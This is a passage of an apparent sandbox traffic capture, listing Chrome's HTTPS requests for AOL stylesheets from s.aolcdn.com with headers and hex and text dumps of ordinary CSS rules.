2024-05-23 22:34:32 UTC	8636	IN	Data Raw: 2e 73 6b 69 70 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 20 2e 73 6b 69 70 2d 74 6f 2d 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 7b 77 69 64 74 68 3a 31 70 78 3b 68 65 69 67 68 74 3a 31 70 78 3b 6d 61 72 67 69 6e 3a 2d 31 70 78 3b 62 6f 72 64 65 72 3a 30 3b 70 61 64 64 69 6e 67 3a 30 3b 63 6c 69 70 2d 70 61 74 68 3a 69 6e 73 65 74 28 30 20 30 20 30 20 30 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 31 30 30 25 29 7d 2e 73 6b 69 70 2d 6c 69 6e 6b 2d 77 72 61 70 70 65 72 20 2e 73 6b 69 70 2d 74 6f 2d 63 6f 6e 74 65 6e 74 2d 6c 69 6e 6b 3a 66 6f 63 75 73 7b 77 69 64 74 68 3a 61 75 74 6f 3b 68 65 69 Data Ascii: .skip-link-wrapper .skip-to-content-link{width:1px;height:1px;margin:-1px;border:0;padding:0;clip-path:inset(0 0 0 0);overflow:hidden;position:absolute;display:block;transform:translateY(-100%)}.skip-link-wrapper .skip-to-content-link:focus{width:auto;hei

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49737	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:32 UTC	576	OUT	GET /td-app-aol-production/assets/v1/css/custom.5fcdebca.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	584	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5251882 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:32 GMT Etag: "5fcdebca3050af7f93cc00736fbbedfe" Last-Modified: Fri, 15 Mar 2024 15:56:44 GMT Server: ECAcc (lhd/35EF) Vary: Accept-Encoding x-amz-id-2: QHMmjfM6+fxq3J0fRu7+kVUkPC/9WouZ9W61It9Bcx0vgm1WuRzBlavPw4vYacKY+XkSx2T6qh0= x-amz-request-id: 2MQP6N8VAWVTTY1Z x-amz-server-side-encryption: AES256 x-amz-version-id: tBn2nOEm_iJqkgzBR1M_2.SNlnOtQOIB X-Cache: HIT Content-Length: 2082 Connection: close
2024-05-23 22:34:32 UTC	2082	IN	Data Raw: 23 75 68 2d 73 65 61 72 63 68 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 3a 3a 2d 6d 73 2d 63 6c 65 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 64 65 73 6b 74 6f 70 20 62 6f 64 79 7b 6f 76 65 72 66 6c 6f 77 2d 79 3a 73 63 72 6f 6c 6c 7d 2e 73 6d 61 72 74 70 68 6f 6e 65 2e 6d 69 6e 2d 68 65 69 67 68 74 2d 65 6e 61 62 6c 65 64 20 62 6f 64 79 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 35 30 30 30 70 78 7d 2e 6d 75 6c 74 69 2d 63 6f 6c 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 7d 2e 6d 75 6c 74 69 2d 63 6f 6c 3e 2a 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 73 74 72 65 61 6d 2d 68 61 6c 66 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d Data Ascii: #uh-search input[type=text]::-ms-clear{display:none}.desktop body{overflow-y:scroll}.smartphone.min-height-enabled body{min-height:5000px}.multi-col{display:flex;width:100%;flex-wrap:wrap}.multi-col>*{width:100%}.stream-half{display:inline-block;vertical-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49738	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:32 UTC	588	OUT	GET /td-app-aol-production/assets/v1/css/layout/homepage_v2.450ca5fa.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	583	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3058317 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:32 GMT Etag: "450ca5fa88d0486c2266f6f81538ef77" Last-Modified: Wed, 17 Apr 2024 15:44:15 GMT Server: ECAcc (lhd/35FB) Vary: Accept-Encoding x-amz-id-2: B7yuWk2wtulfI8IEgS4KeM2nvZzGS0ZCvuCJCoZCI8TwTzhHf53ZIwNVGIzsMFLmGkOX0FdO29k= x-amz-request-id: WZR3FXMV6P1ENYZF x-amz-server-side-encryption: AES256 x-amz-version-id: G9xg8MrxY6R075_e_GgiU9py.Pi608Sv X-Cache: HIT Content-Length: 997 Connection: close
2024-05-23 22:34:32 UTC	997	IN	Data Raw: 2e 4d 61 69 6e 43 61 6e 76 61 73 2d 2d 67 72 69 64 20 2e 52 69 67 68 74 52 61 69 6c 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 4d 61 69 6e 43 61 6e 76 61 73 2d 2d 67 72 69 64 20 2e 52 69 67 68 74 52 61 69 6c 2e 68 6f 6d 65 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 31 70 78 29 7b 2e 4d 61 69 6e 43 61 6e 76 61 73 2d 2d 67 72 69 64 20 2e 52 69 67 68 74 52 61 69 6c 3e 64 69 76 7b 77 69 64 74 68 3a 33 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 7d 7d 2e 4d 61 69 6e 43 61 6e 76 61 73 2d 2d 67 72 69 64 20 2e 52 69 67 68 74 52 61 69 6c 2d 2d 73 Data Ascii: .MainCanvas--grid .RightRail{padding:0;margin-top:0;position:relative}.MainCanvas--grid .RightRail.home{margin-top:0}@media screen and (min-width:901px){.MainCanvas--grid .RightRail>div{width:300px;position:absolute;left:0}}.MainCanvas--grid .RightRail--s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49734	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:32 UTC	581	OUT	GET /caas-assets-production/assets/v1/common.52199b28fa7ca442.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	623	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1947133 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:32 GMT Etag: "52199b28fa7ca4420c2d98fc25ea121d" Last-Modified: Wed, 01 May 2024 09:11:54 GMT Server: ECAcc (lhd/35BD) Vary: Accept-Encoding x-amz-id-2: 8jlzgG6eQ0rBYqpCEdWrA7pF8zpYyW1rEs6G7vN7i5O4469gaPMEP3FZsnaHrKWCoCd+VamTm0k= x-amz-replication-status: COMPLETED x-amz-request-id: 5NHTJE50MT130008 x-amz-server-side-encryption: AES256 x-amz-version-id: GD7hCzaFu4OtQXNeelwzTjFveRGXlbVv X-Cache: HIT Content-Length: 153795 Connection: close
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 3a 72 6f 6f 74 7b 2d 2d 6d 61 69 6c 2d 62 67 63 3a 23 66 39 66 39 66 39 3b 2d 2d 74 65 78 74 2d 62 61 73 65 3a 23 32 33 32 61 33 31 3b 2d 2d 74 65 78 74 2d 67 72 61 79 3a 23 36 65 37 37 38 30 3b 2d 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 23 30 66 36 39 66 66 3b 2d 2d 68 6f 76 65 72 2d 63 6f 6c 6f 72 3a 23 30 65 35 65 65 36 3b 2d 2d 62 67 2d 61 63 63 65 6e 74 3a 23 66 66 66 3b 2d 2d 62 67 2d 61 63 63 65 6e 74 2d 64 61 72 6b 3a 72 67 62 61 28 31 35 2c 31 30 35 2c 32 35 35 2c 30 2e 36 35 29 3b 2d 2d 6d 61 69 6c 2d 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 2d 2d 6d 61 69 6c 2d 62 67 2d 6e 65 77 3a 23 66 66 66 3b 2d 2d 6d 61 69 6c 2d 62 67 2d 68 6f 76 65 72 3a 23 66 35 66 38 66 61 3b 2d 2d 6d 61 69 6c 2d 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e Data Ascii: :root{--mail-bgc:#f9f9f9;--text-base:#232a31;--text-gray:#6e7780;--accent-color:#0f69ff;--hover-color:#0e5ee6;--bg-accent:#fff;--bg-accent-dark:rgba(15,105,255,0.65);--mail-border-color:#fff;--mail-bg-new:#fff;--mail-bg-hover:#f5f8fa;--mail-border-style:n
2024-05-23 22:34:32 UTC	1	IN	Data Raw: 72 Data Ascii: r
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 69 64 2d 78 3e 2e 78 73 2d 31 30 2c 2e 67 72 69 64 2d 78 3e 2e 78 73 2d 31 31 2c 2e 67 72 69 64 2d 78 3e 2e 78 73 2d 31 32 2c 2e 67 72 69 64 2d 78 3e 2e 78 73 2d 66 75 6c 6c 2c 2e 67 72 69 64 2d 78 3e 2e 78 73 2d 73 68 72 69 6e 6b 7b 2d 6d 73 2d 66 6c 65 78 2d 70 72 65 66 65 72 72 65 64 2d 73 69 7a 65 3a 61 75 74 6f 3b 66 6c 65 78 2d 62 61 73 69 73 3a 61 75 74 6f 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 36 2e 33 31 32 35 65 6d 29 7b 2e 67 72 69 64 2d 78 3e 2e 73 2d 31 2c 2e 67 72 69 64 2d 78 3e 2e 73 2d 32 2c 2e 67 72 69 64 2d 78 3e 2e 73 2d 33 2c 2e 67 72 69 64 2d 78 3e 2e 73 2d 34 2c 2e 67 72 69 64 2d 78 3e 2e 73 2d 35 2c 2e 67 72 69 64 2d 78 3e 2e 73 2d 36 2c 2e 67 72 69 64 2d 78 Data Ascii: id-x>.xs-10,.grid-x>.xs-11,.grid-x>.xs-12,.grid-x>.xs-full,.grid-x>.xs-shrink{-ms-flex-preferred-size:auto;flex-basis:auto}}@media print,screen and (min-width:56.3125em){.grid-x>.s-1,.grid-x>.s-2,.grid-x>.s-3,.grid-x>.s-4,.grid-x>.s-5,.grid-x>.s-6,.grid-x
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 7b 77 69 64 74 68 3a 63 61 6c 63 28 36 36 2e 36 36 36 36 37 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 78 73 2d 39 7b 77 69 64 74 68 3a 63 61 6c 63 28 37 35 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 78 73 2d 31 30 7b 77 69 64 74 68 3a 63 61 6c 63 28 38 33 2e 33 33 33 33 33 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 78 73 2d 31 31 7b 77 69 64 74 68 3a 63 61 6c 63 28 39 31 2e 36 36 36 36 37 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 78 73 2d 31 32 7b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2d 20 32 2e 35 72 65 6d 29 7d 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 78 3e 2e 73 2d 61 75 74 6f 2c Data Ascii: {width:calc(66.66667% - 2.5rem)}.grid-margin-x>.xs-9{width:calc(75% - 2.5rem)}.grid-margin-x>.xs-10{width:calc(83.33333% - 2.5rem)}.grid-margin-x>.xs-11{width:calc(91.66667% - 2.5rem)}.grid-margin-x>.xs-12{width:calc(100% - 2.5rem)}.grid-margin-x>.s-auto,
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 6d 2d 75 70 2d 37 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 31 34 2e 32 38 35 37 31 34 32 38 35 37 25 7d 2e 6d 2d 75 70 2d 38 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 31 32 2e 35 25 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 30 2e 30 36 32 35 65 6d 29 7b 2e 6c 2d 75 70 2d 31 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6c 2d 75 70 2d 32 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 35 30 25 7d 2e 6c 2d 75 70 2d 33 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 6c 2d 75 70 2d 34 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 32 35 25 7d 2e 6c 2d 75 70 2d 35 3e 2e 63 65 6c 6c 7b 77 69 64 74 68 3a 32 30 25 7d 2e 6c 2d 75 70 2d 36 3e 2e 63 65 6c 6c 7b 77 69 Data Ascii: m-up-7>.cell{width:14.2857142857%}.m-up-8>.cell{width:12.5%}}@media print,screen and (min-width:80.0625em){.l-up-1>.cell{width:100%}.l-up-2>.cell{width:50%}.l-up-3>.cell{width:33.3333333333%}.l-up-4>.cell{width:25%}.l-up-5>.cell{width:20%}.l-up-6>.cell{wi
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 7d 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 39 7b 77 69 64 74 68 3a 37 35 25 7d 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 31 30 7b 77 69 64 74 68 3a 38 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 31 31 7b 77 69 64 74 68 3a 39 31 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 31 32 7b 77 69 64 74 68 3a 31 30 30 25 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 30 2e 32 35 65 6d 29 7b 2e 78 73 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 6d 2d 31 7b 77 69 64 74 68 3a 38 2e 33 33 33 33 33 33 33 33 33 33 Data Ascii: }.xs-margin-collapse>.s-9{width:75%}.xs-margin-collapse>.s-10{width:83.3333333333%}.xs-margin-collapse>.s-11{width:91.6666666667%}.xs-margin-collapse>.s-12{width:100%}}@media print,screen and (min-width:70.25em){.xs-margin-collapse>.m-1{width:8.3333333333
2024-05-23 22:34:32 UTC	4	IN	Data Raw: 3a 31 36 2e Data Ascii: :16.
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 36 36 36 36 36 36 36 36 36 37 25 7d 2e 78 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 33 7b 77 69 64 74 68 3a 32 35 25 7d 2e 78 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 34 7b 77 69 64 74 68 3a 33 33 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 78 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 35 7b 77 69 64 74 68 3a 34 31 2e 36 36 36 36 36 36 36 36 36 37 25 7d 2e 78 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 36 7b 77 69 64 74 68 3a 35 30 25 7d 2e 78 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 37 7b 77 69 64 74 68 3a 35 38 2e 33 33 33 33 33 33 33 33 33 33 25 7d 2e 78 6c 2d 6d 61 72 67 69 6e 2d 63 6f 6c 6c 61 70 73 65 3e 2e 73 2d 38 7b 77 69 64 74 68 3a 36 36 2e 36 Data Ascii: 6666666667%}.xl-margin-collapse>.s-3{width:25%}.xl-margin-collapse>.s-4{width:33.3333333333%}.xl-margin-collapse>.s-5{width:41.6666666667%}.xl-margin-collapse>.s-6{width:50%}.xl-margin-collapse>.s-7{width:58.3333333333%}.xl-margin-collapse>.s-8{width:66.6
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 79 3e 2e 78 73 2d 34 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 35 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 36 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 37 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 38 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 39 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 31 30 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 31 31 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 31 32 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 66 75 6c 6c 2c 2e 67 72 69 64 2d 79 3e 2e 78 73 2d 73 68 72 69 6e 6b 7b 2d 6d 73 2d 66 6c 65 78 2d 70 72 65 66 65 72 72 65 64 2d 73 69 7a 65 3a 61 75 74 6f 3b 66 6c 65 78 2d 62 61 73 69 73 3a 61 75 74 6f 7d 7d 40 6d 65 64 69 61 20 70 72 69 6e 74 2c 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 35 36 2e 33 31 32 35 65 6d 29 7b 2e 67 72 69 Data Ascii: y>.xs-4,.grid-y>.xs-5,.grid-y>.xs-6,.grid-y>.xs-7,.grid-y>.xs-8,.grid-y>.xs-9,.grid-y>.xs-10,.grid-y>.xs-11,.grid-y>.xs-12,.grid-y>.xs-full,.grid-y>.xs-shrink{-ms-flex-preferred-size:auto;flex-basis:auto}}@media print,screen and (min-width:56.3125em){.gri
2024-05-23 22:34:32 UTC	16383	IN	Data Raw: 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 38 30 2e 30 36 32 35 65 6d 29 7b 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 31 2e 32 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 31 30 35 65 6d 29 7b 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 2e 32 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2d 31 2e 32 35 72 65 6d 7d 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 30 2e 30 36 32 35 65 6d 29 7b 2e 67 72 69 64 2d 6d 61 72 67 69 6e 2d 79 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 2e 32 35 72 65 6d 3b 6d 61 Data Ascii: d (min-width:80.0625em){.grid-margin-y{margin-top:-1.25rem;margin-bottom:-1.25rem}}@media screen and (min-width:105em){.grid-margin-y{margin-top:-1.25rem;margin-bottom:-1.25rem}}@media screen and (min-width:90.0625em){.grid-margin-y{margin-top:-1.25rem;ma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49735	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:32 UTC	585	OUT	GET /caas-assets-production/assets/v1/aol_footer.7ea76f4ec7bd00ce.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5165574 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:32 GMT Etag: "7ea76f4ec7bd00ce6a39cfd1bf3916b4" Last-Modified: Wed, 20 Mar 2024 13:46:08 GMT Server: ECAcc (lhd/35C2) Vary: Accept-Encoding x-amz-id-2: 44LeWFsSsh9nyRM3yuUHrcN5eEgAzYL3aJJ5rJOprIXCJymvZR+eAdR1S0Mf+zrlLcaiTyi1y90= x-amz-replication-status: COMPLETED x-amz-request-id: EW7XTS9MCF9BZ3VN x-amz-server-side-encryption: AES256 x-amz-version-id: ngkpaP98lpBSKc3z3_ILsqTvdSvg903u X-Cache: HIT Content-Length: 6031 Connection: close
2024-05-23 22:34:32 UTC	6031	IN	Data Raw: 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 6c 6f 67 6f 2d 77 72 61 70 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 36 35 70 78 7d 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 6c 69 6e 6b 73 2d 66 6f 6f 74 7b 77 69 64 74 68 3a 37 30 25 7d 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 73 6f 63 69 61 6c 2d 66 6f 6f 74 7b 77 69 64 74 68 3a 33 30 25 7d 2e 69 65 2d 31 31 20 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 73 6f 63 69 61 6c 2d 66 6f 6f 74 20 2e 69 74 65 6d 7b 77 69 64 74 68 3a 35 30 70 78 7d 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 7b 70 61 64 64 69 6e 67 3a 30 20 32 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 2d 41 6f 6c 46 6f 6f 74 65 72 20 2e 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 2d 77 Data Ascii: .ie-11 .m-AolFooter .logo-wrap{min-height:65px}.ie-11 .m-AolFooter .links-foot{width:70%}.ie-11 .m-AolFooter .social-foot{width:30%}.ie-11 .m-AolFooter .social-foot .item{width:50px}.m-AolFooter{padding:0 20px;width:100%}.m-AolFooter .container{display:-w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49736	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:32 UTC	585	OUT	GET /caas-assets-production/assets/v1/dispatcher.35f949ab045720f0.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	620	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 5167539 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:32 GMT Etag: "35f949ab045720f0b6f75a311584a1d7" Last-Modified: Mon, 21 Aug 2023 11:23:06 GMT Server: ECAcc (lhd/35C1) Vary: Accept-Encoding x-amz-id-2: SBJOmDuMU1G9+P5LxNSPRuW4H2Y0dH5rtp1j8ammwsvoQxmPi8lzp276C9N0MlBRXy8IHfzZNgI= x-amz-replication-status: COMPLETED x-amz-request-id: 0MX53GEB955YV6QH x-amz-server-side-encryption: AES256 x-amz-version-id: ZV2ARNHvaasIZQgv3e2lwR0AEpiLQ4Vk X-Cache: HIT Content-Length: 224 Connection: close
2024-05-23 22:34:32 UTC	224	IN	Data Raw: 2e 6d 2d 64 69 73 70 61 74 63 68 65 72 2d 2d 72 69 67 68 74 72 61 69 6c 7b 6d 61 72 67 69 6e 3a 30 20 2d 31 30 70 78 20 32 30 70 78 3b 70 61 64 64 69 6e 67 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 7a 2d 69 6e 64 65 78 3a 31 32 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 34 38 30 70 78 29 7b 2e 6d 2d 64 69 73 70 61 74 63 68 65 72 2d 2d 72 69 67 68 74 72 61 69 6c 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 36 30 70 78 7d 7d 0a 0a 2f 2a 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 64 69 73 70 61 74 63 68 65 72 2e 63 73 73 2e 6d 61 70 2a 2f Data Ascii: .m-dispatcher--rightrail{margin:0 -10px 20px;padding:0;position:relative;text-align:center;z-index:12}@media screen and (max-width:480px){.m-dispatcher--rightrail{padding-top:60px}}/# sourceMappingURL=dispatcher.css.map/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49751	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:33 UTC	588	OUT	GET /caas-assets-production/assets/v1/special_event.2b279353b9563d0a.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
